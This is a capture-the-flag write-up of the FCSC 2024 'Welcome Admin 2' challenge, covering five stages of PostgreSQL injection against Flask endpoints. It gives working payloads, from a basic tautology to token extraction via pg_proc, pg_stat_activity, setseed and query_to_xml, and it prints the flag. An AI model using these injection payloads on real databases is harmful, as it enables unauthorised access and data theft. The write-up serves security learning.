FCSC 2024 Qualification - Welcome Admin 2 (web)
FCSC 2024 Qualification - Welcome Admin 2
The sources for the challenge are available on hackropole.fr
The idea behind the challenge is to pass 5 steps in order to have the final flag. Each step consists of a Flask web page with a user-provided input. The global idea is to make each PostgreSQL query return true.
I did a lot of try and fail that should be worth documentation but It won’t be discussed here as they failed :
- using
currval
to get the column and table name using literal query for step 5 - spamming the INSERT query then using the
pg_stat_activity
table to grep the inserted value
step 1 : guest to admin
@app.route("/", methods=["GET", "POST"])
@login_for(Rank.GUEST, Rank.ADMIN, "/admin")
def level1(cursor: cursor, password: str):
= os.urandom(16).hex()
token f"SELECT '{token}' = '{password}'")
cursor.execute(= cursor.fetchone()
row if not row:
return False
if len(row) != 1:
return False
return bool(row[0])
The most straightforward one :
' or 1=1 --
select 'token' = '' or 1=1 --
step 2 : admin to super admin
@app.route("/admin", methods=["GET", "POST"])
@login_for(Rank.ADMIN, Rank.SUPER_ADMIN, "/super-admin", FIRST_FLAG)
def level2(cursor: cursor, password: str):
= os.urandom(16).hex()
token
cursor.execute(f"""
CREATE FUNCTION check_password(_password text) RETURNS text
AS $$
BEGIN
IF _password = '{token}' THEN
RETURN _password;
END IF;
RETURN 'nope';
END;
$$
IMMUTABLE LANGUAGE plpgsql;
"""
)f"SELECT check_password('{password}')")
cursor.execute(= cursor.fetchone()
row if not row:
return False
if len(row) != 1:
return False
return row[0] == token
The odd is that the injection is inside the parameter of
check_password()
and not in the IF statement. Thus it won’t
be possible to just use the previous payload.
The token is inside the function definition. The function body can be
queried within the pg_proc
table. The following query will
return the body of the function
select prosrc from pg_proc where proname='check_password'
As the token is a 32 sized hexadecimal string, we can use a regex to extract it from the body.
'||(select substring(prosrc, '[0-9a-f]{32}') from pg_proc where proname='check_password'))--
step 3 : super admin to hyper admin
@app.route("/super-admin", methods=["GET", "POST"])
@login_for(Rank.SUPER_ADMIN, Rank.HYPER_ADMIN, "/hyper-admin")
def level3(cursor: cursor, password: str):
= os.urandom(16).hex()
token f"SELECT '{token}', '{password}';")
cursor.execute(= cursor.fetchone()
row if not row:
return False
if len(row) != 2:
return False
return row[1] == token
The query select the token, add a comma and insert out unsanitized query. The token isn’t defined elsewhere than the actual query.
PostgreSQL has a table that hold the current queries :
pg_stat_activity
=> select 'token', query from pg_stat_activity;
postgres
column? | query
?----------+----------------------------------------------
<insufficient privilege>
token | <insufficient privilege>
token | select 'token', query from pg_stat_activity;
token | <insufficient privilege>
token | <insufficient privilege>
token | <insufficient privilege>
token | 6 rows) (
It did a sub selection to query the query itself and extract the hexadecimal token
'|| substring(query,'[0-9a-f]{32}') FROM pg_stat_activity WHERE query LIKE '%query%
SELECT '{token}', ''|| substring(query,'[0-9a-f]{32}') FROM pg_stat_activity WHERE query LIKE '%query%';
step 4 : hyper admin to turbo admin
@app.route("/hyper-admin", methods=["GET", "POST"])
@login_for(Rank.HYPER_ADMIN, Rank.TURBO_ADMIN, "/turbo-admin")
def level4(cursor: cursor, password: str):
f"""SELECT md5(random()::text), '{password}';""")
cursor.execute(= cursor.fetchone()
row if not row:
return False
if len(row) != 2:
return False
return row[0] == row[1]
The query is quite the same except the token is hashed with md5. To validate the challenge we need to provide the md5 value of the random value.
I decided to go with the setseed
function to control
which random text will be generated. If the seed is set to 0 the next
md5 value will be 4d359fe4a63dd3d663c742aa88ef514a
.
select setseed(0); select md5(random()::text);
md5----------------------------------
4d359fe4a63dd3d663c742aa88ef514a
The payload will be as :
4d359fe4a63dd3d663c742aa88ef514a' FROM pg_stat_activity WHERE ''=(select ''||setseed(0))||'
SELECT md5(random()::text), '4d359fe4a63dd3d663c742aa88ef514a' FROM pg_stat_activity WHERE ''=(select ''||setseed(0))||'';
SELECT '4d359fe4a63dd3d663c742aa88ef514a', '4d359fe4a63dd3d663c742aa88ef514a';
The where clause is needed to call setseed(0)
before the
random()
call else random would not have been seeded.
step 5 : turbo admin to flag
This step was the hardest for me.
@app.route("/turbo-admin", methods=["GET", "POST"])
@login_for(Rank.TURBO_ADMIN, Rank.FLAG, "/flag")
def level5(cursor: cursor, password: str):
= "table_" + os.urandom(16).hex()
table_name = "col_" + os.urandom(16).hex()
col_name = os.urandom(16).hex()
token
cursor.execute(f"""
CREATE TABLE "{table_name}" (
id serial PRIMARY KEY,
"{col_name}" text
);
INSERT INTO "{table_name}"("{col_name}") VALUES ('{token}');
"""
)f"SELECT '{password}';")
cursor.execute(= cursor.fetchone()
row print(row)
if not row:
return False
if len(row) != 1:
return False
return row[0] == token
The step create a random table and random column then insert the flag inside it.
The thing is that PostgreSQL doesn’t allow dynamic table and column queries, so you can’t do something like :
SELECT * FROM (SELECT table_name from information_schema.table)
The best flex was to find a function that take a literal PostgreSQL
query as parameters like query_to_xml(query text, ...)
So you can do something like :
'SELECT * FROM ' || (SELECT table_name from information_schema.table WHERE table_name like 'table_%')) query_to_xml(
Then you just have to extract the table name from the query and then the token from the XML returned value. There is also a bit of casting from XML to text.
-- first get the table name and extract it with a regex
SELECT string_agg(substring(table_name,'table_[a-f0-9]{32}'),'-') FROM information_schema.tables WHERE table_name like 'table_%'
-- then query the table
'SELECT * FROM '||(SELECT string_agg(substring(table_name,'table_[a-f0-9]{32}'),'-') FROM information_schema.tables WHERE table_name like 'table_%'),true,true,'')
DOCUMENT query_to_xml(
-- finally cas it as text and extract the token from the XML format
'||(SELECT substring(substring(XMLSERIALIZE(DOCUMENT query_to_xml('SELECT * FROM '||(SELECT string_agg(substring(table_name,'table_[a-f0-9]{32}'),'-') FROM information_schema.tables WHERE table_name like 'table_%'),true,true,'') as text),'>[a-z0-9]{32}<'),2,32))||'
-- a bit more readable ?
SELECT
(
substring(substring(
XMLSERIALIZE(
DOCUMENT query_to_xml('SELECT * FROM ' ||(
SELECT string_agg(substring(table_name, 'table_[a-f0-9]{32}'), '-')
FROM information_schema.tables
WHERE table_name like 'table_%'
), true, true, '') as text),
'>[a-z0-9]{32}<'),
2, 32)
FCSC{a380e590ae8ffe8da9bb86f27d05203b7f9d32dd37c833c2764097840848b3a2}
Some helpful resources :